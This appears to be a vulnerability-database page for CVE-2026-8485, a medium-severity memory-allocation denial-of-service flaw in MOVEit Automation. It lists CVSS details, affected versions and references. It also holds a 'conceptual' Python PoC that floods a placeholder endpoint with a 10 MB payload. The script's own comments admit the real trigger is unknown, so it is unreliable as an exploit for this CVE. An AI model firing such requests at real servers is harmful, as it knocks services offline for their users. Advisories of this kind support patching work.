CVE-2026-8485

Description

Uncontrolled Memory Allocation vulnerability in Progress Software MOVEit Automation allows Excessive Allocation. This issue affects MOVEit Automation: before 2025.0.11, from 2025.1.0 before 2025.1.7.

CVSS Details

CVSS Score

5.9

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

MOVEit Automation < 2025.0.11

2025.1.0 <= MOVEit Automation < 2025.1.7

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# PoC for CVE-2026-8485 (Conceptual)
# This script demonstrates sending a payload to trigger uncontrolled memory allocation.
# Targeting a vulnerable MOVEit Automation instance.

def trigger_memory_allocation(target_url):
    headers = {
        "User-Agent": "Mozilla/5.0",
        "Content-Type": "application/json"
    }
    
    # In a real scenario, the specific parameter triggering the allocation would be identified.
    # This payload attempts to send a large object or specific malformed structure.
    # Adjust the endpoint and payload based on specific vulnerability analysis.
    payload = {
        "malicious_param": "A" * 10000000  # Example large payload to stress allocation
    }
    
    try:
        print(f"[*] Sending request to {target_url}...")
        response = requests.post(target_url, json=payload, headers=headers, timeout=10)
        print(f"[+] Response received: Status {response.status_code}")
    except requests.exceptions.RequestException as e:
        print(f"[-] Request failed (possible DoS): {e}")

if __name__ == "__main__":
    # Replace with actual target endpoint
    target = "http://target-ip:port/vulnerable_endpoint"
    trigger_memory_allocation(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8485
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8485
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8485/
[4] VulDB https://vuldb.com/cve/CVE-2026-8485
[5] https://docs.progress.com/bundle/moveit-automation-release-notes-2026/page/Fixed-Issues-2026.html

Raw JSON Data

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